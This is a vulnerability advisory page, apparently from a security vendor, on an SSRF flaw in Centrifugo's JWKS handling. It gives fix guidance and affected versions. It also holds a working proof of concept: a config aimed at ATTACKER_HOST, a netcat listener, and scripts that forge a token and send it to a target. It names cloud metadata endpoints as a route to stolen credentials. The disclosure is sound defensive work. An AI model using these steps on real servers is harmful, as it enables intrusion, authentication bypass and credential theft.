CVE-2026-32301

Centrifugo: SSRF via unverified JWT claims interpolated into dynamic JWKS endpoint URL

{
  "client": {
    "token": {
      "jwks_public_endpoint": "http://ATTACKER_HOST:8888/{{tenant}}/.well-known/jwks.json",
      "issuer_regex": "^(?P[a-zA-Z0-9_-]+)\\.auth\\.example\\.com$"
    }
  },
  "http_api": { "key": "test-api-key" }
}

nc -lvnp 8888

import base64, json

def b64url(data):
    return base64.urlsafe_b64encode(data).rstrip(b'=').decode()

header  = b'{"alg":"RS256","kid":"test-kid","typ":"JWT"}'
payload = b'{"sub":"attacker","iss":"evil-tenant.auth.example.com","exp":9999999999}'
token   = f"{b64url(header)}.{b64url(payload)}.fakesig"
print(token)

import websocket, json
ws = websocket.create_connection("ws://TARGET:8000/connection/websocket")
ws.send(json.dumps({"id": 1, "connect": {"token": ""}}))
print(ws.recv())

GET /evil-tenant/.well-known/jwks.json HTTP/1.1
Host: ATTACKER_HOST:8888
User-Agent: Go-http-client/1.1

• Unauthenticated SSRF, No valid credentials required
• Attacker can probe and access internal network services not exposed externally
• On cloud deployments: access to metadata endpoints (AWS: 169.254.169.254, GCP: metadata.google.internal) to steal IAM credentials
• Attacker can serve a malicious JWKS response containing their own public key, causing Centrifugo to accept attacker-signed tokens as legitimate, leading to full authentication bypass
• Exploitation requires jwks_public_endpoint to contain {{...}} template variables combined with issuer_regex or audience_regex, a configuration pattern explicitly documented and promoted by Centrifugo

Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside. Typical impact: access to internal metadata services, internal APIs, or cloud credentials.

CVE-2026-32301 has a CVSS score of 9.3 (Critical). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (6.7.0); upgrading removes the vulnerable code path.

Kodem intelligence

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1. Verify signature BEFORE extracting tokenVars (critical fix):
In token_verifier_jwt.go, swap the order of operations:

// CURRENT (vulnerable) order:
// 1. ParseNoVerify
// 2. validateClaims() → populates tokenVars from unverified claims
// 3. verifySignature(token, tokenVars)  ← too late

// FIXED order:
// 1. ParseNoVerify
// 2. verifySignature(token)  ← verify first with empty/nil tokenVars
// 3. validateClaims() → only now extract tokenVars from verified claims
// 4. If JWKS needed, re-verify with tokenVars using verified kid only

2. Fix the incorrect nolint comment in manager.go:
Remove //nolint:gosec // URL is from server configuration, not user input The URL IS partially constructed from user input via JWT claims.

3. Alternative mitigation:
Restrict template variables to only the kid header field (which is not claim data) rather than allowing arbitrary claim values to influence the JWKS URL.
```

1. What is CVE-2026-32301? CVE-2026-32301 is a critical-severity server-side request forgery (SSRF) vulnerability in github.com/centrifugal/centrifugo/v6 (go), affecting versions <= 6.6.2. It is fixed in 6.7.0. Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside.
2. How severe is CVE-2026-32301? CVE-2026-32301 has a CVSS score of 9.3 (Critical). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which packages are affected by CVE-2026-32301?
   • github.com/centrifugal/centrifugo/v6 (go) (versions <= 6.6.2)
   • github.com/centrifugal/centrifugo (go) (versions <= 2.4.0)
   • github.com/centrifugal/centrifugo/v3 (go) (versions <= 3.2.3)
   • github.com/centrifugal/centrifugo/v4 (go) (versions <= 4.1.5)
   • github.com/centrifugal/centrifugo/v5 (go) (versions <= 5.4.9)
4. Is there a fix for CVE-2026-32301? Yes. CVE-2026-32301 is fixed in 6.7.0. Upgrade to this version or later.
5. Is CVE-2026-32301 exploitable, and should I be worried? Whether CVE-2026-32301 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-32301 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-32301? Upgrade github.com/centrifugal/centrifugo/v6 to 6.7.0 or later.

Other vulnerabilities in github.com/centrifugal/centrifugo/v6